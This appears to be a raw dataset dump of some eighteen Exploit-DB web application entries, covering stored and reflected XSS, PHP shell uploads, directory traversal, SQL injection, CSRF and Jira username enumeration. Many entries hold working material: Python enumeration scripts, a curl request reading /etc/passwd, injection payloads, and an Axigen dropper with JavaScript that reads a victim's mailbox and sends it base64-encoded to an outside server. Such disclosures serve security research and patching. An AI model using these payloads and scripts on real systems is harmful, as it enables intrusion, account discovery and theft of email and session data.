deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34513
Description: Arachni Web Application Scanner Web UI - Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2014-09-01
Author: Prakhar Prasad

Exploit:
Title: Arachni Web Application Scanner Web UI Stored XSS Vulnerability
CVE: 2014-5469
Vendor Homepage: http://www.arachni-scanner.com/
Author: Prakhar Prasad
Author Homepage: https://prakharprasad.com
Reference: https://github.com/Arachni/arachni-ui-web/issues/71
Affected Version: Arachni v0.4.7/WebUI v0.4.4 (possibly in lower versions
too)
Date: August 17th 2014
Tested on: Arachni v0.4.7/WebUI v0.4.4 - Ubuntu 14.04


 Details
=======

This is an authenticated Stored XSS, hence the user needs to be logged in
to exploit this issue.

A malicious user (admin/regular) can initiate a website scan in the Arachni
Web UI. After initiating the scan, there is an option of users to comment
onto it (with Markdown formatting). However using Markdown the malicious
user can craft a link that will execute arbitrary Javascript once clicked.

The proof of concept XSS comment: [XSS](javascript:alert('XSS'))

The above comment will roughly translate into: <a
href="javascript:alert('XSS');">XSS</a>. Hence creating an anchor with
user-supplied Javascript content.
Exploit-DB #49166
Description: Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Add Artwork
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Shahrukh Iqbal Mirza

Exploit:
# Exploit Title: Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated)
# Date: November 17th, 2020
# Exploit Author: Shahrukh Iqbal Mirza (@shahrukhiqbal24)
# Vendor Homepage: Source Code & Projects (https://code-projects.org)
# Software Link: https://download.code-projects.org/details/9dfede24-03cc-42a8-b319-f666757ac7cf
# Version: 1.0
# Tested On: Windows 10 (XAMPP Server)
# CVE: CVE-2020-28688
---------------------
Proof of Concept:
---------------------
1. Authenticate as a user (or signup as an artist)
2. Click the drop down for your username and go to My ART+BAY
3. Click on My Artworks > My Available Artworks > Add an Artwork
4. Click on any type of artwork and instead of the picture, upload your php-shell > click on upload
5. Find your shell at 'http://<ip>/<base_url>/pictures/arts/<shell.php>' and get command execution
Exploit-DB #49167
Description: Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Shahrukh Iqbal Mirza

Exploit:
# Exploit Title: Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile
# Date: November 17th, 2020
# Exploit Author: Shahrukh Iqbal Mirza (@shahrukhiqbal24)
# Vendor Homepage: Source Code & Projects (https://code-projects.org)
# Software Link:  https://download.code-projects.org/details/9dfede24-03cc-42a8-b319-f666757ac7cf
# Version: 1.0
# Tested On: Windows 10 (XAMPP Server)
# CVE: CVE-2020-28687
--------------------
Proof of Concept:
--------------------
1. Authenticate as a user (or signup as an artist)
2. Go to edit profile
3. Upload a php-shell as profile picture and click update/save
4. Find your shell at 'http://<ip>/<base_url>/pictures/profile/<shell.php>' and get command execution
Exploit-DB #10753
Description: ASP Simple Blog 3.0 - Arbitrary File Upload
Type: webapps
Platform: multiple
Date: 2009-12-28
Author: indoushka

Exploit:
========================================================================================                  

| # Title    : ASP Simple Blog version 3.0 Upload shell Vulnerability                  |

| # Author   : indoushka                                                               |

| # email    : indoushka@hotmail.com                                                   |

| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |

| # EDB-ID   :                                                                         |

| # CVE-ID   : ()                                                                      |

| # OSVDB-ID : ()                                                                      |

| # DAte     :16/12/2009                                                               |

| # Verified :                                                                         |

| # Web Site : www.iq-ty.com                                                           |

| # Published:                                                                         |

| # Script   : ASP Simple Blog version 3.0 Copyright (c) 2003-2006 www.8pixel.net      |

| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |

| # Bug      : XSS                                                                     | 

======================      Exploit By indoushka       =================================

| # Exploit  : 

| 

| 1- http://127.0.0.1/simpleblog3/admin/includes/FCKeditor/editor/filemanager/upload/test.html

|

================================   Dz-Ghost Team   ========================================

Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |

-------------------------------------------------------------------------------------------
Exploit-DB #24915
Description: Aspen 0.8 - Directory Traversal
Type: webapps
Platform: multiple
Date: 2013-04-02
Author: Daniel Ricardo dos Santos

Exploit:
Aspen 0.8 - Directory Traversal
Earlier versions are also possibly vulnerable.

INFORMATION

Product: Aspen 0.8
Remote-exploit: yes
Vendor-URL: http://www.zetadev.com/software/aspen/

Discovered by: Daniel Ricardo dos Santos
CVE Request - 15/03/2013
CVE Assign - 18/03/2013
CVE Number - CVE-2013-2619
Vendor notification - 18/03/2013
Vendor reply - No reply
Public disclosure - 01/04/2013

OVERVIEW

Aspen 0.8 is vulnerable to a directory traversal.

INTRODUCTION

Aspen is a Python webserver.
Aspen is framework-agnostic and relies heavily on WSGI.
Aspen is fast enough.

VULNERABILITY DESCRIPTION

The vulnerability happens when directory indexing is turned on (default
configuration in this version) and a user requests, for instance
localhost/../../../../../../../etc/passwd.

The vulnerability may be tested with the following command-line:
curl -v4 http://<server>:<port>/../../../../../../etc/passwd

VERSIONS AFFECTED

Tested with version 0.8 but earlier versions are possibly vulnerable.

SOLUTION

Upgrade to version 0.22 - http://aspen.io/

NOTES

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2013-2619 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

CREDITS

Daniel Ricardo dos Santos
SEC+ Information Security Company - http://www.secplus.com.br/
Exploit-DB #12133
Description: Asset Manager 1.0 - Arbitrary File Upload
Type: webapps
Platform: multiple
Date: 2010-04-09
Author: Shichemt Alen & NeT_Own3r

Exploit:
# Title: Asset Manager ( Shell Upload Vulnerability )
# Version: 1.0
# Author: Shichemt Alen & NeT_Own3r [ Meher Assel ]
# Software Link: http://www.sourcecodeonline.com/details/asset_manager_cms_and_file_editor.html
# Price : $35.00

############### Founded By Net_Own3r & Shichemt Alen ###############

Hi All Muslims Brothers & All Hackers


# Exploit :

http://127.0.0.1/assetmanager/assetmanager.php (Upload shell php)
or
http://127.0.0.1/assetmanager/assetmanager.asp (Upload shell asp)

# Note :
For ASP shell File name can be like this : xxx.asp;xx.jpg <=== No more priv8 ;)

####################################################################

MaiL :
Meher Assel : ow3ner@hotmail.com<mailto:ow3ner@hotmail.com>
Shichemt Alen : Shichemt@hotmail.com<mailto:Shichemt@hotmail.com>

###################### Made In Tunisia [+216] ###########################
Exploit-DB #37791
Description: Atlassian Confluence 3.4.x - Error Page Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2012-09-12
Author: D. Niedermaier

Exploit:
source: https://www.securityfocus.com/bid/55509/info

Atlassian Confluence is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Atlassian Confluence versions prior to 4.1.9 are vulnerable. 

 http://www.example.com/pages/includes/status-list-mo%3CIFRAME%20SRC%3D%22javascript%3Aalert%28%27XSS%27%29%22%3E.vm
Exploit-DB #49633
Description: Atlassian JIRA 8.11.1 - User Enumeration
Type: webapps
Platform: multiple
Date: 2021-03-10
Author: Dolev Farhi

Exploit:
# Title: Atlassian JIRA 8.11.1 - User Enumeration
# Author: Dolev Farhi
# Vulnerable versions: version < 7.13.16,  8.0.0 ≤ version < 8.5.7, 8.6.0 ≤ version < 8.12.0
# CVE: CVE-2020-14181
# Credit to original CVE author: Mikhail Klyuchnikov of Positive Technologies.

import sys
import os
import requests

def help():
    print('python3 script.py <target> <usernames_file>')
    print('e.g. python3 script.py https://jiratarget.com usernames.txt')
    sys.exit()

if len(sys.argv) < 3:
  help()

server = sys.argv[1]
usernames = sys.argv[2]

random_user = '0x00001'

try:
  os.path.exists(usernames)
except:
  print(usernames, 'file does not exist.')
  sys.exit(1)

def test_vulnerable():
  resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))
  if 'User does not exist: {}'.format(random_user) in resp.text:
    return True
  return False

if test_vulnerable is False:
  print('server is not vulnerable.')
  sys.exit(1)

f = open(usernames, 'r').read()

for username in f.splitlines():
  resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))
  if 'User does not exist' not in resp.text:
    print('EXISTS', username)
Exploit-DB #49924
Description: Atlassian Jira 8.15.0 - Information Disclosure (Username Enumeration)
Type: webapps
Platform: multiple
Date: 2021-06-01
Author: Mohammed Aloraimi

Exploit:
# Exploit Title: Atlassian Jira 8.15.0 - Information Disclosure (Username Enumeration)
# Date: 31/05/2021
# Exploit Author: Mohammed Aloraimi
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/jira
# Vulnerable versions: version 8.11.x to 8.15.0
# Tested on: Kali Linux
# Proof Of Concept:

'''
A username information disclosure vulnerability exists in Atlassian JIRA from versions 8.11.x to 8.15.x. Unauthenticated users can ENUMRATE valid users via /secure/QueryComponent!Jql.jspa endpoint.

Tested versions:

Atlassian JIRA 8.11.1
Atlassian JIRA 8.13
Atlassian JIRA 8.15
'''

#!/usr/bin/env python

__author__  = "Mohammed Aloraimi (@ixSly)"



import requests
import sys
import re
import urllib3
urllib3.disable_warnings()


def help():
    print('python script.py <target> <username>')
    print('e.g. python script.py https://jiratarget.com admin')
    sys.exit()

if len(sys.argv) < 3:
  help()



def pwn(url,username):

        try:
                headers = {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"}
                data="jql=creator+in+({})&decorator=none".format(username)
                req = requests.post(url+"/secure/QueryComponent!Jql.jspa",headers=headers,verify=False,data=data)
                if "issue.field.project" in req.text and req.status_code == 200:
                        print("[+] {} is a Valid User".format(username))
                        userFullName=re.search('value=\"user:{}\" title=\"(.+?)\"'.format(username),str(req.json()["values"]["creator"]).strip())
                        if userFullName:
                                print("[+] User FullName: " + userFullName.group(1))
                elif '["jqlTooComplex"]' in req.text and req.status_code == 401:
                        print("[-] {} is not a Valid User".format(username))
                else:
                        print("[-] Error..")
        except Exception as e:
                print(str(e))
                pass

server = sys.argv[1]
username = sys.argv[2]


pwn(server,username)
Exploit-DB #49748
Description: Atlassian Jira Service Desk 4.9.1 - Unrestricted File Upload to XSS
Type: webapps
Platform: multiple
Date: 2021-04-07
Author: Captain_hook

Exploit:
# Exploit Title: Atlassian Jira Service Desk 4.9.1 - Unrestricted File Upload to XSS
# Date: 07 Mar 2020
# Exploit Author: Captain_hook
# Vendor Homepage: https://www.atlassian.com/
# Version: < 4.10.0
# Tested on: All OS
# CVE: CVE-2020-14166

Summary:

The /servicedesk/customer/portals resource in Jira Service Desk Server and Data Center before version 4.10.0 allows remote attackers with project administrator privileges to inject arbitrary HTML or JavaScript names via an Cross Site Scripting (XSS) vulnerability by uploading a html file.

Steps to reproduce:

1- reach to this directory http://localhost:port/servicedesk/customer/portals?customize=true
2- There's a place where the banner can be uploaded when upload wizard popup you can see that the banner image restricted to image format, you can change that type easily
3- then you can upload HTML and javascript files and hijacking cookies or XSRF tokens.

Original report in bugcrowd:

https://bugcrowd.com/disclosures/61a50171-aa55-4126-b9f4-4e82b4b8c301/unrestricted-file-upload-stored-xss-for-token-hijacking
Original ticket in atlassian:

https://jira.atlassian.com/browse/JSDSERVER-6895?error=login_required&error_description=Login+required&state=28f8e754-fb05-4f5e-adda-79e252fe2c30
Exploit-DB #50955
Description: Avantune Genialcloud ProJ 10 - Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2022-06-14
Author: Andrea Intilangelo

Exploit:
# Exploit Title: Avantune Genialcloud ProJ 10 - Cross-Site Scripting (XSS)
# Date: 2022-06-01
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.avantune.com
# Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com
# Version: 10
# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39)
# CVE: CVE-2022-29296


Reflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from the
same software house "Avantune" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to inject
and execute arbitrary web scripts or HTML via a crafted payload.

Request parameters affected is "msg".

PoC Request:
GET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1
Host: [REDACTED]
Cookie: ASP.NET_SessionId=3recnmmlpo1glzzyejdoezk2
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Connection: close
Cache-Control: max-age=0

PoC Response:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 11 May 2022 10:51:10 GMT
Connection: close
Content-Length: 8162

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head><link rel="stylesheet"
...[SNIP]...
<script type="text/javascript"> var Msg = 'Invalid username or password';alert("y0! XSS here :)")//';</script>
...[SNIP]...
Exploit-DB #51722
Description: Axigen < 10.3.3.47_ 10.2.3.12 - Reflected XSS
Type: webapps
Platform: multiple
Date: 2023-09-08
Author: AmirZargham

Exploit:
# Exploit Title: Axigen < 10.3.3.47, 10.2.3.12 - Reflected XSS
# Google Dork: inurl:passwordexpired=yes
# Date: 2023-08-21
# Exploit Author: AmirZargham
# Vendor Homepage: https://www.axigen.com/
# Software Link: https://www.axigen.com/mail-server/download/
# Version: (10.5.0–4370c946) and older version of Axigen WebMail
# Tested on: firefox,chrome
# CVE: CVE-2022-31470

Exploit
We use the second Reflected XSS to exploit this vulnerability, create a
malicious link, and steal user emails.

Dropper code
This dropper code, loads and executes JavaScript exploit code from a remote
server.

');
x = document.createElement('script');
x.src = 'https://example.com/exploit.js';
window.addEventListener('DOMContentLoaded',function y(){
  document.body.appendChild(x)
})//



Encoded form

/index.hsp?m=%27)%3Bx%3Ddocument.createElement(%27script%27)%3Bx.src%3D%27
https://example.com/exploit.js%27%3Bwindow.addEventListener(%27DOMContentLoaded%27,function+y(){document.body.appendChild(x)})//


Exploit code

xhr1 = new XMLHttpRequest(), xhr2 = new XMLHttpRequest(), xhr3 = new
XMLHttpRequest();
oob_server = 'https://example.com/';
var script_tag = document.createElement('script');

xhr1.open('GET', '/', true);
xhr1.onreadystatechange = () => {
    if (xhr1.readyState === XMLHttpRequest.DONE) {
        _h_cookie = new URL(xhr1.responseURL).search.split("=")[1];
        xhr2.open('PATCH', `/api/v1/conversations/MQ/?_h=${_h_cookie}`,
true);
        xhr2.setRequestHeader('Content-Type', 'application/json');
        xhr2.onreadystatechange = () => {
            if (xhr2.readyState === XMLHttpRequest.DONE) {
                if (xhr2.status === 401){
                    script_tag.src =
`${oob_server}?status=session_expired&domain=${document.domain}`;
                    document.body.appendChild(script_tag);
                } else {
                    resp = xhr2.responseText;
                    folderId = JSON.parse(resp)["mails"][0]["folderId"];
                    xhr3.open('GET',
`/api/v1/conversations?folderId=${folderId}&_h=${_h_cookie}`, true);
                    xhr3.onreadystatechange = () => {
                        if (xhr3.readyState === XMLHttpRequest.DONE) {
                            emails = xhr3.responseText;
                            script_tag.src =
`${oob_server}?status=ok&domain=${document.domain}&emails=${btoa(emails)}`;
                            document.body.appendChild(script_tag);
                        }
                    };
                    xhr3.send();
                }
            }
        };
        var body = JSON.stringify({isUnread: false});
        xhr2.send(body);
    }
};
xhr1.send();


Combining dropper and exploit
You can host the exploit code somewhere and then address it in the dropper
code.
Exploit-DB #31673
Description: Azureus HTML WebUI 0.7.6 - Cross-Site Request Forgery
Type: webapps
Platform: multiple
Date: 2008-04-18
Author: th3.r00k

Exploit:
source: https://www.securityfocus.com/bid/28848/info

Azureus HTML WebUI is prone to a cross-site request-forgery vulnerability.

Successful exploits aid in transferring malicious content to unsuspecting users' computers, aiding in further attacks. Other actions may also be affected, but this has not been confirmed.

Azureus HTML WebUI 0.7.6 is vulnerable; other versions may also be affected. 

http://www.example.com:6886/index.tmpl?d=u&upurl=http://localhost/backdoor.torrent
Exploit-DB #35233
Description: B-Cumulus - 'tagcloud' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: multiple
Date: 2011-01-18
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/45911/info

B-Cumulus is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/path/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E

http://www.example.com/path/tagcloud-ru.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E
Exploit-DB #50548
Description: Bagisto 1.3.3 - Client-Side Template Injection
Type: webapps
Platform: multiple
Date: 2021-11-26
Author: Mohamed Abdellatif Jaber

Exploit:
# Exploit Title: Bagisto 1.3.3 - Client-Side Template Injection
# Date: 11-25-2021
# Exploit Author: Mohamed Abdellatif Jaber
# Vendor Homepage: https://bagisto.com/en/
# Software Link: https://github.com/bagisto/bagisto
# Version: v1.3.3
# Tested on: [windows | chrome | firefox ]

Exploit :.
1- register an account and login your account
2- go to your profile and edit name , address
2- and put this payload {{constructor.constructor('alert(document.domain)')()}}
3- admin or any one view order or your profile will execute arbitrary JS-code
.

rf:https://portswigger.net/kb/issues/00200308_client-side-template-injection
Exploit-DB #50823
Description: Baixar GLPI Project 9.4.6 - SQLi
Type: webapps
Platform: multiple
Date: 2022-03-14
Author: Prof. Joas Antonio

Exploit:
# Exploit Title: Baixar GLPI Project 9.4.6 - SQLi
# Date: 10/12
# Exploit Author: Joas Antonio
# Vendor Homepage: https://glpi-project.org/pt-br/ <https://www.blueonyx.it/
# Software Link: https://glpi-project.org/pt-br/baixar/
# Version: GLPI - 9.4.6
# Tested on: Windows/Linux
# CVE : CVE-2021-44617

#POC1:
plugins/ramo/ramoapirest.php/getOutdated?idu=-1%20OR%203*2*1=6%20AND%20000111=000111

sqlmap -u "url/plugins/ramo/ramoapirest.php/getOutdated?idu=-1"
Exploit-DB #49161
Description: Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Parshwa Bhavsar

Exploit:
# Exploit Title: Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting
# Date: 26-11-2020
# Exploit Author: Parshwa Bhavsar
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14609/bakeshop-online-ordering-system-phpmysqli-full-source-code.html
# Version: 1.0
# Tested on: Windows 10/XAMPP

Payload : "><img src=x onerror=alert(1)>


Steps to Reproduce :-

1. Login in admin dashboard & Click on 'Categories'.
2. You will notice the "New" button ,Click on that and You will notice the "Category" input field.
3. Put  XSS Payload on that field and save it.
4. XSS will be triggered.